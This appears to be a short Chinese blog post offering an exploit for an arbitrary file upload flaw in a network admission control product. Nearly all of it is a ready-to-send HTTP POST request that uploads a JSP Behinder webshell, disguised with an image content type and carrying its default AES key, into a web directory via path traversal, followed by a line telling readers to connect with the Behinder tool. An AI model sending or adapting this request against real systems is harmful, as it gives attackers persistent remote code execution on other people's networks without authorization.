当你的才华java
还撑不起你的野心时web
那你就应该静下心来学习session
目录app
某软准入是啥样？webapp
某软准入是啥样？
安X任意文件上传漏洞EXP（某软准入）
POST /uai/download/uploadfileToPath.htm HTTP/1.1
HOST: xxxxx
... ...
-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="input_localfile"; filename="xxx.jsp"
Content-Type: image/png
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为链接密码32位md5值的前16位，默认链接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
-----------------------------570xxxxxxxxx6025274xxxxxxxx1
Content-Disposition: form-data; name="uploadpath"
../webapps/notifymsg/devreport/
-----------------------------570xxxxxxxxx6025274xxxxxxxx1--
冰蝎直接连学习
虽然咱们生活在阴沟里，但依然有人仰望星空！this